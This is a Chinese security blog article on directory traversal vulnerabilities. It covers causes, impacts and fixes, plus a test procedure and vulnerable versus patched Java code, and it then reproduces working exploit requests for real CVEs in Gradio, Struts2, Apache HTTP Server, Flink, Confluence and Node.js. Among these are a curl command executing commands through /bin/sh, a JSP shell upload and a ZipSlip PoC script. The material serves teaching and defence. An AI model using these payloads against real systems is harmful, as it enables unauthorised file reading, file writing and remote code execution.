文章总结: 本文详细介绍了目录遍历漏洞的原理、成因、危害及修复方法,提供了完整的测试流程和代码审计示例。文章分析了多个真实世界的目录遍历漏洞案例,包括Gradio、Struts2、ApacheHTTPServer等知名软件的安全问题。通过具体代码示例展示了漏洞存在形式及修复方案,为安全人员提供了实用的漏洞检测与防护指南。
综合评分: 86
文章分类: 漏洞分析,代码审计,WEB安全,应用安全,漏洞POC
【网络安全】目录遍历漏洞
原创
利刃信安
利刃信安
目录遍历漏洞
| | |
| — | — |
| 漏洞名称 | 目录遍历漏洞 |
| 漏洞地址 | https://www.mem.com/ |
| 漏洞等级 | 中危 |
| 漏洞描述 | Web应用程序未能对用户输入的文件路径参数进行有效验证与过滤,攻击者可通过构造包含特殊路径序列(如../)的输入,突破预定的目录访问限制,从而非法读取、写入或执行Web根目录之外的系统文件,造成安全风险。 |
| 漏洞成因 | 1.未验证的用户输入:Web 应用程序直接将用户请求中的参数(例如 filename=../../etc/passwd)拼接到文件路径中,未做任何合法性校验。 2.不安全的路径拼接:采用简单的字符串拼接方式生成绝对或相对路径,未对路径进行规范化处理或有效性检查。 3.多重解码绕过校验:应用程序或中间件对输入进行多次解码(如 URL 解码、UTF-8 解码),攻击者可通过多重编码(如 %2e%2e%2f 对应 ../)绕过基础的过滤规则。 4.利用符号链接与快捷方式:在文件上传功能中,攻击者可能上传指向敏感系统文件的符号链接,从而在访问时读取目标文件。 5.不安全的函数或配置:错误使用了不安全的文件操作函数,或对服务器、框架的安全配置存在误用与缺陷。 |
| 漏洞危害 | 1.敏感信息泄露:攻击者可利用该漏洞读取系统关键文件,例如: Linux系统中的 /etc/passwd 及 /etc/shadow(存储用户密码哈希) Windows系统中的 C:\Windows\System32\config\SAM(存储用户密码哈希) Web服务器配置文件、数据库连接信息、应用程序源码、日志文件等,可能导致凭证、密钥或其他敏感数据暴露。 2.系统文件篡改:若攻击者具备写入权限,可修改关键系统文件或网站内容,进而造成服务中断、网页篡改或植入恶意代码。 3.应用程序逻辑破坏:通过读取或篡改应用的配置文件、数据文件等,攻击者可能干扰业务逻辑,影响系统正常功能,甚至导致业务瘫痪。 4.作为内网渗透跳板:该漏洞常与文件上传、远程代码执行等漏洞结合使用,攻击者可借此获取密钥、探测内网信息,为进一步横向移动创造条件。 |
| 修复建议 | 1.实施白名单验证:建立并维护一个允许访问的文件名或目录名白名单,仅允许已知安全的输入。即使攻击者尝试构造恶意路径,也无法访问白名单之外的文件。 2.进行规范化与严格校验:在处理用户输入前,先通过安全函数(如 java.nio.file.Paths.get().normalize())对路径进行规范化,并严格校验输入格式。拒绝任何包含目录遍历序列(如 ../、..\)或绝对路径的请求,并确保规范化后的路径位于预设的安全基础目录下。 3.使用安全 API 与框架函数:优先使用编程语言或框架提供的安全文件访问函数,这些函数通常内置了目录限制与路径检查机制,可降低实现错误导致的风险。 4.采用文件索引/ID 映射机制:将文件元数据存储在数据库中,通过不可预测的标识符(如 UUID)访问文件,避免直接使用用户提供的文件名。 5.剥离目录遍历序列:若无法采用白名单,则严格过滤所有形式的目录遍历序列(包括各类编码形式),但需注意该方法可能被绕过,应作为辅助手段。 6.限制运行权限与环境:确保 Web 应用程序以最低必要权限运行,禁止使用管理员账户,并严格控制其对文件系统的访问范围。 7.避免使用高危函数:除非已进行充分的验证与清理,否则避免直接使用 file()、include、require 等可能执行目录遍历的危险函数。 |
| 测试过程 | |
| 复测过程 | |
| 复测结果 | 已修复 |
| 相关性 | 不满足 |
| 严重性 | 不满足 |
| 高发型 | 满足 |
| 重大风险隐患 | 否 |
目录遍历漏洞测试过程
- 测试目标
验证目标系统(https://www.mem.com/)是否存在目录遍历漏洞,确认攻击者能否通过构造恶意路径访问敏感文件(如系统文件、配置文件等)。
- 测试环境
测试工具:浏览器、Burp Suite、curl、OWASP ZAP。
测试账号:无(公开接口测试)。
授权范围:仅针对示例目标(需替换为实际授权目标)。
- 测试步骤
步骤1:识别输入点
目标功能:查找涉及文件操作的接口,例如:
文件下载:/download?file=report.pdf
图片预览:/image?path=uploads/1.jpg
日志查看:/logs?filename=app.log
步骤2:构造恶意请求
测试用例(假设目标为文件下载接口):
GET /download?file=../../../../etc/passwd HTTP/1.1
Host: www.mem.com
Payload 变体:
相对路径:….//….//….//etc/passwd
URL编码:%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
绝对路径(Windows):C:\Windows\win.ini
步骤3:绕过过滤机制
测试方法:
- 空字节截断(旧系统可能有效):
GET /download?file=../../../etc/passwd%00.pdf HTTP/1.1
- 双重编码:
GET /download?file=%252e%252e%252fetc%252fpasswd HTTP/1.1
- 非标准路径分隔符:
GET /download?file=……\Windows\win.ini HTTP/1.1
步骤4:验证响应结果
敏感文件泄露迹象:
响应状态码为200 OK,内容包含 /etc/passwd 用户列表或系统配置。
错误信息暴露真实路径(如File not found: /var/app/../../etc/shadow)。
步骤5:自动化扫描
使用OWASP ZAP 或 Burp Suite Intruder:
加载目录遍历字典(如/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt)。
检测响应长度差异及关键词(如root:x:0)。
- 测试结果示例
| 测试用例 | 预期结果 | 实际结果 | 漏洞存在 |
|———————————-|—————————-|—————————-|————–|
| file=../../etc/passwd | 返回 403 Forbidden | 返回 200 OK,内容泄露 | 是 |
| file=%2e%2e%2fetc%2fpasswd | 返回 400 Bad Request | 返回 200 OK,内容泄露 | 是 |
| file=..%00/config.yaml | 返回 404 Not Found | 返回 404 Not Found | 否 |
-
修复验证
-
输入过滤测试:
提交file=../ 应被拦截,返回 Invalid path detected。
- 白名单机制:
尝试访问file=../../etc/passwd 应仅允许白名单内文件(如 *.pdf)。
- 权限检查:
Web进程用户权限应为非root,且无法读取 /etc/shadow。
- 注意事项
合法授权:确保测试在授权范围内进行。
谨慎操作:避免对生产系统造成破坏(如频繁扫描触发WAF)。
日志审计:检查服务器日志是否记录恶意请求,验证监控有效性。
- 结论
通过构造恶意路径成功访问系统文件(如/etc/passwd)确认漏洞存在。修复后需复测所有Payload,确保过滤机制与白名单策略生效。建议结合SAST工具(如Checkmarx)检查代码中的危险函数(如 open()、include)。
我们可以通过代码审计挖掘目录遍历漏洞。
存在目录遍历漏洞代码块:
import java.io.*;
public class Example { private String dataPath; // 本例中允许访问的目录
public void exampleFun(String filename) { // filename为用户的输入数据,不超过10个字符 // filename可能包含“..”字符序列导致访问dataPath目录之外的文件 String path = dataPath + filename; try { File file = new File(path); if (file.exists()) { file.open(); // 注意:File类没有open()方法,此处保持原代码结构 ... } ... } catch (...) { // 此处应为具体异常类型,如IOException等 ... } }}
漏洞描述:
路径名受外部控制的输入数据影响,且程序没有使能够解析到目录外位置的字符序列(如“..”)失效。
漏洞风险:
攻击者可以通过输入能够解析到目录外位置的字符序列来访问限制目录之外的文件或目录。
修复或规避建议:
在构建路径名前对输入数据进行验证,确保外部输入仅包含允许的构成路径名的字符。
修复目录遍历漏洞代码块:
import java.io.*;
public class Example { private String dataPath; // 本例中允许访问的目录
public void exampleFun(String filename) { // filename为用户的输入数据,不超过10个字符 String regex = "^[A-Za-z0-9]+\\.[a-z]+$"; // 对文件名进行合法性校验的正则表达式
// 参数filename传入的文件名称可能存在漏洞,现通过正则表达式regex校验文件名filename的合法性 // 校验通过则访问文件 if (filename.matches(regex)) { // 如果文件名合法,则将路径和文件名组合成完整的文件访问路径 String path = dataPath + filename;
try { // 访问文件,这里的path已经是合法的、安全的文件路径,不存在漏洞 File file = new File(path);
if (file.exists()) { // 注意:File类没有open()方法,此处保持原代码结构 file.open(); ... } ... } catch (...) { // 此处应为具体异常类型,如IOException等 ... } } }}
存在目录遍历漏洞的代码块:
import java.io.*;
public class Example { public void exampleFun(String absolutePath) { // absolutePath为用户的输入数据 try { // 没有限制absolutePath访问的目录,可能存在安全风险 File file = new File(absolutePath);
if (file.exists()) { // 注意:File类没有open()方法,此处保持原代码结构 file.open(); ... } ... } catch (...) { // 此处应为具体异常类型,如IOException等 ... } }}
漏洞描述:
路径名由外部控制的输入数据决定,且程序没有限制路径名允许访问的目录。
漏洞风险:
攻击者可以通过输入路径名来访问任意的文件或目录。
修复或规避建议:
在程序中指定允许访问的文件或目录,在访问文件或目录前对路径名进行验证,确保仅允许访问指定的文件或目录。
修复目录遍历漏洞代码块:
import java.io.*;
public class Example { public void exampleFun(String absolutePath) { // absolutePath为用户的输入数据 String regex = "^C:\\\data\\\[A-Za-z0-9]+\\.[a-z]+$"; // 用正则表达式设置限制访问的目录
// 验证absolutePath是否仅能解析到受限制的目录内 if (absolutePath != null && absolutePath.matches(regex)) { try { File file = new File(absolutePath);
if (file.exists()) { // 注意:File类没有open()方法,此处保持原代码结构 file.open(); ... } ... } catch (...) { // 此处应为具体异常类型,如IOException等 ... } } ... }}
修复目录遍历漏洞代码块:
public void exampleFun(String fileName) { // 改为只接收文件名,而非完整路径 // 使用白名单验证文件名 String regex = "^[A-Za-z0-9]+\\.[a-z]+$"; if (fileName != null && fileName.matches(regex)) { // 构造安全路径 String safePath = "C:\\data\\" + fileName; // 进一步验证路径是否安全 Path basePath = Paths.get("C:\\data"); Path resolvedPath = basePath.resolve(fileName).normalize(); if (resolvedPath.startsWith(basePath)) { // 安全,可以访问文件 File file = resolvedPath.toFile(); // ... 继续原有逻辑 } }}
推荐规范用法
import java.io.*;import java.nio.charset.StandardCharsets;import java.nio.file.*;import java.util.Set;import java.util.HashSet;public class SecureFileAccess { // 常量定义 private static final String DATA_BASE_PATH = "C:\\data\\"; private static final int MAX_FILENAME_LENGTH = 100; private static final Set<String> ALLOWED_EXTENSIONS = Set.of("txt", "log", "json", "xml", "csv"); private static final Set<String> ALLOWED_FILES = Set.of("report.txt", "data.log", "config.json", "user.xml"); // 使用预编译的正则表达式提高性能 private static final String FILENAME_REGEX = "^[A-Za-z0-9][A-Za-z0-9._-]*\\.[a-z]{1,10}$"; /** * 安全的文件访问方法(优化版) * @param filename 用户输入的文件名 */ public void safeFileAccess(String filename) { if (!validateFilename(filename)) { return; } try { Path filePath = buildSafePath(filename); if (!isPathWithinBaseDirectory(filePath)) { System.err.println("拒绝访问:路径越界"); return; } readFileSecurely(filePath); } catch (SecurityException e) { System.err.println("安全异常: " + e.getMessage()); } catch (InvalidPathException e) { System.err.println("路径格式错误: " + e.getMessage()); } catch (IOException e) { System.err.println("文件操作异常: " + e.getMessage()); } } /** * 验证文件名 */ private boolean validateFilename(String filename) { // 基础验证 if (filename == null || filename.trim().isEmpty()) { System.err.println("文件名不能为空"); return false; } filename = filename.trim(); // 长度限制 if (filename.length() > MAX_FILENAME_LENGTH) { System.err.println("文件名过长(最大" + MAX_FILENAME_LENGTH + "字符)"); return false; } // 格式验证(正则表达式) if (!filename.matches(FILENAME_REGEX)) { System.err.println("文件名格式不合法"); return false; } // 扩展名白名单验证 String extension = getFileExtension(filename).toLowerCase(); if (!ALLOWED_EXTENSIONS.contains(extension)) { System.err.println("文件扩展名不被允许"); return false; } // 防止目录遍历字符 if (filename.contains("..") || filename.contains("/") || filename.contains("\\")) { System.err.println("文件名包含非法字符"); return false; } return true; } /** * 构建安全路径 */ private Path buildSafePath(String filename) throws InvalidPathException { Path basePath = Paths.get(DATA_BASE_PATH).toAbsolutePath().normalize(); Path resolvedPath = basePath.resolve(filename).normalize(); return resolvedPath; } /** * 检查路径是否在基目录内 */ private boolean isPathWithinBaseDirectory(Path filePath) { Path basePath = Paths.get(DATA_BASE_PATH).toAbsolutePath().normalize(); return filePath.startsWith(basePath); } /** * 安全读取文件 */ private void readFileSecurely(Path filePath) throws IOException { // 验证文件属性 if (!Files.exists(filePath)) { System.err.println("文件不存在: " + filePath.getFileName()); return; } if (!Files.isRegularFile(filePath)) { System.err.println("不是普通文件: " + filePath.getFileName()); return; } // 检查文件大小限制(例如最大10MB) long fileSize = Files.size(filePath); if (fileSize > 10 * 1024 * 1024) { System.err.println("文件过大(最大10MB)"); return; } // 安全读取文件内容 try (BufferedReader reader = Files.newBufferedReader(filePath, StandardCharsets.UTF_8)) { String line; int lineCount = 0; while ((line = reader.readLine()) != null) { lineCount++; // 限制最大行数 if (lineCount > 10000) { System.err.println("文件行数超过限制"); break; } // 处理文件内容(这里只是打印) System.out.println("第" + lineCount + "行: " + line); } System.out.println("成功读取文件,共" + lineCount + "行"); } } /** * 基于白名单的严格文件访问 */ public void strictFileAccess(String filename) { if (!ALLOWED_FILES.contains(filename)) { System.err.println("文件不在允许访问的白名单中"); return; } try { Path filePath = buildSafePath(filename); readFileSecurely(filePath); } catch (Exception e) { System.err.println("访问文件失败: " + e.getMessage()); } } /** * 获取文件扩展名 */ private String getFileExtension(String filename) { int lastDotIndex = filename.lastIndexOf('.'); if (lastDotIndex > 0 && lastDotIndex < filename.length() - 1) { return filename.substring(lastDotIndex + 1); } return ""; } /** * 增强的文件访问方法,支持不同输入类型 */ public void enhancedFileAccess(String userInput, boolean isAbsolutePath) { try { Path filePath; if (isAbsolutePath) { // 处理绝对路径 Path inputPath = Paths.get(userInput).toAbsolutePath().normalize(); // 验证绝对路径必须在指定目录下 Path basePath = Paths.get(DATA_BASE_PATH).toAbsolutePath().normalize(); if (!inputPath.startsWith(basePath)) { System.err.println("绝对路径必须在 " + basePath + " 目录下"); return; } // 验证绝对路径的文件名 String filename = inputPath.getFileName().toString(); if (!validateFilename(filename)) { return; } filePath = inputPath; } else { // 处理相对路径/文件名 if (!validateFilename(userInput)) { return; } filePath = buildSafePath(userInput); } // 最终安全检查 if (!isPathWithinBaseDirectory(filePath)) { System.err.println("拒绝访问:路径越界"); return; } readFileSecurely(filePath); } catch (InvalidPathException e) { System.err.println("路径格式错误: " + e.getMessage()); } catch (Exception e) { System.err.println("文件访问错误: " + e.getMessage()); } } /** * 批量文件访问(新增功能) */ public void batchFileAccess(Set<String> filenames) { if (filenames == null || filenames.isEmpty()) { System.err.println("文件列表为空"); return; } int count = 0; for (String filename : filenames) { if (validateFilename(filename)) { try { Path filePath = buildSafePath(filename); if (isPathWithinBaseDirectory(filePath)) { // 简化的读取,只检查存在性和大小 if (Files.exists(filePath) && Files.size(filePath) < 1024 * 1024) { System.out.println("可访问文件: " + filename); count++; } } } catch (IOException e) { // 记录但继续处理其他文件 System.err.println("检查文件失败: " + filename); } } } System.out.println("共发现 " + count + " 个可访问文件"); } public static void main(String[] args) { SecureFileAccess secureAccess = new SecureFileAccess(); // 测试用例 System.out.println("=== 测试安全文件访问 ==="); secureAccess.safeFileAccess("test.txt"); // 合法 secureAccess.safeFileAccess("test..txt"); // 拒绝 secureAccess.safeFileAccess("../../etc/passwd"); // 拒绝 secureAccess.safeFileAccess("verylongfilenameextremelylongname.txt"); // 拒绝 System.out.println("\n=== 测试增强文件访问 ==="); secureAccess.enhancedFileAccess("data.txt", false); secureAccess.enhancedFileAccess("C:\\data\\config.json", true); secureAccess.enhancedFileAccess("C:\\data\\..\\windows\\system.ini", true); // 拒绝 System.out.println("\n=== 测试白名单访问 ==="); secureAccess.strictFileAccess("report.txt"); secureAccess.strictFileAccess("unknown.txt"); // 拒绝 System.out.println("\n=== 测试批量访问 ==="); Set<String> fileSet = new HashSet<>(); fileSet.add("report.txt"); fileSet.add("data.log"); fileSet.add("unknown.exe"); secureAccess.batchFileAccess(fileSet); }}
Gradio 目录遍历漏洞(CVE-2023-51449)
Gradio是一个Python库,允许用户无需编写前端代码即可为机器学习模型快速构建可视化Web界面。
在 Gradio 4.11 及更早版本中,如果未启用身份验证,知道文件路径的攻击者可以使用公共URL访问运行Gradio应用程序的服务器上的任意文件。
首先,使用upload接口上传任意文件,获取一个可访问的文件路径。
POST /upload HTTP/1.1Host: localhost:7860Content-Type: multipart/form-data; boundary=---------------------------250033711231076532771336998311-----------------------------250033711231076532771336998311Content-Disposition: form-data; name="files";filename="okmijnuhbygv"Content-Type: application/octet-stream123456-----------------------------250033711231076532771336998311--
获得可访问的文件路径后,利用file接口配合目录穿越,即可读取服务器上的任意文件,例如/etc/passwd:
GET /file=/tmp/gradio/7c4a8d09ca3762af61e59520943dc26494f8941b/../../../../../../../../../../../../../../../etc/passwd HTTP/1.1Host: localhost:7860User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.36Connection: closeAccept-Encoding: gzip
Struts2 S2-067 文件上传目录遍历漏洞(CVE-2024-53677)
Apache Struts2 是一个流行的开源 Web 应用框架,用于开发 Java EE Web 应用。它使用并扩展了 Java Servlet API,鼓励开发者采用模型-视图-控制器(MVC)架构。该框架为开发者提供了丰富的标签和实用工具,以创建易于维护和扩展的企业级 Web 应用。
S2-067 是 S2-066 漏洞的变种,产生于对 S2-066 的不完全修复。S2-066 是由于大小写敏感性比较问题导致文件名被覆盖而造成目录穿越,而 S2-067 则利用了另一种机制达到相同的目的。
在 Struts2 中,所有参数在传递时,参数的键名都会进行 OGNL 表达式的计算。这个特性历史上曾导致多次通过 OGNL 表达式注入实现远程命令执行的漏洞。虽然 Struts2 已经实现了严格的参数键名验证来防止 RCE 漏洞,但表达式计算仍然会发生。S2-067 就是利用这个表达式计算机制,再次覆盖上传文件时的文件名,最终导致目录遍历问题。
将 OGNL 表达式 top.fileFileName 作为文件名参数键名的一部分,文件将再次被上传到受限上传目录之外:
POST /index.action HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl6ZFZPznNSPZOFJFContent-Length: 335------WebKitFormBoundaryl6ZFZPznNSPZOFJFContent-Disposition: form-data; name="file"; filename="shell.jsp"Content-Type: text/plain<% out.println("hello world");%>------WebKitFormBoundaryl6ZFZPznNSPZOFJFContent-Disposition: form-data; name="top.fileFileName"../shell.jsp------WebKitFormBoundaryl6ZFZPznNSPZOFJF--
Apache HTTP Server 2.4.50 目录遍历漏洞(CVE-2021-42013)
Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。Apache官方在2.4.50版本中对2.4.49版本中出现的目录穿越漏洞CVE-2021-41773进行了修复,但这个修复是不完整的,CVE-2021-42013是对补丁的绕过。
攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。
这个漏洞可以影响Apache HTTP Server 2.4.49以及2.4.50两个版本。
curl -v --path-as-is http://your-ip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
在服务端开启了cgi或cgid这两个mod的情况下,这个目录遍历漏洞将可以执行任意命令:
curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
Apache Flink 上传目录遍历漏洞(CVE-2020-17518)
Apache Flink 是一个开源的分布式流处理和批处理大数据计算引擎。
Apache Flink 1.5.1 版本引入了一个 REST handler,攻击者可以通过恶意修改 HTTP HEADER,实现将上传的文件写入到本地文件系统的任意位置。该问题在 Apache Flink 1.11.3 版本中得到修复。
发送如下数据包,即可上传一个文件到目标服务器的 /tmp/success 位置:
POST /jars/upload HTTP/1.1Host: localhost:8081Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6YContent-Length: 187------WebKitFormBoundaryoZ8meKnrrso89R6YContent-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"success------WebKitFormBoundaryoZ8meKnrrso89R6Y--
上传成功后,即可在目标服务器上查看到 /tmp/success 文件。
Atlassian Confluence 目录遍历导致远程代码执行漏洞(CVE-2019-3396)
Atlassian Confluence是企业广泛使用的wiki系统,其6.14.2版本前存在一处未授权的目录穿越漏洞,通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令。
发送如下数据包,即可读取文件web.xml:
POST /rest/tinymce/1/macro/preview HTTP/1.1Host: localhost:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeReferer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&Content-Type: application/json; charset=utf-8Content-Length: 176{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}
6.12以前的Confluence没有限制文件读取的协议和路径,我们可以使用file:///etc/passwd来读取文件,也可以通过https://…来加载远程文件。
Node.js 8.5.0 目录遍历漏洞(CVE-2017-14849)
Node.js 是一个跨平台的开源 JavaScript 运行环境。Node.js 8.5.0 ~ 8.6.0 版本中,由于对“..”处理方式的更改与社区模块使用的路径名验证不兼容,远程攻击者可以访问到非预期以外的文件。
这个漏洞的原因是 Node.js 8.5.0 对目录进行normalize操作时出现了逻辑错误,导致向上层跳跃的时候(如../../../../../../etc/passwd),在中间位置增加foo/../(如../../../foo/../../../../etc/passwd),即可使normalize返回/etc/passwd,但实际上正确结果应该是../../../../../../etc/passwd。
Express这类web框架,通常会提供了静态文件服务器的功能,这些功能依赖于normalize函数。比如,Express在判断path是否超出静态目录范围时,就用到了normalize函数,上述BUG导致normalize函数返回错误结果导致绕过了检查,造成任意文件读取漏洞。
当然,normalize的BUG可以影响的绝非仅有Express,更有待深入挖掘。不过因为这个BUG是node 8.5.0 中引入的,在 8.6 中就进行了修复,所以影响范围有限。
发送如下数据包,即可读取passwd文件:
GET /static/../../../a/../../../../etc/passwd HTTP/1.1Host: your-ip:3000Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: close
kkFileView ZipSlip 远程命令执行漏洞
kkFileView是一个文档预览解决方案。
在kkFileView 4.4.0-beta以前,存在一处ZipSlip漏洞。攻击者可以利用该漏洞,向服务器任意目录下写入文件,导致任意命令执行漏洞。
首先,修改并执行poc.py,生成POC文件:
import zipfileif __name__ == "__main__": try: binary1 = b'vulhub' binary2 = b"import os\nos.system('touch /tmp/success')\n" zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED) # info = zipfile.ZipInfo("test.zip") zipFile.writestr("test", binary1) zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2) zipFile.close() except IOError as e: raise e
然后,test.zip将被写入到当前目录下。
上传test.zip和sample.odt两个文件到kkFileView服务中:
然后,点击test.zip的“预览”按钮,可以看到zip压缩包中的文件列表:
最后,点击sample.odt的“预览”按钮,触发代码执行漏洞。
可见,touch /tmp/success已经成功被执行:
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:利刃信安 利刃信安《【网络安全】目录遍历漏洞》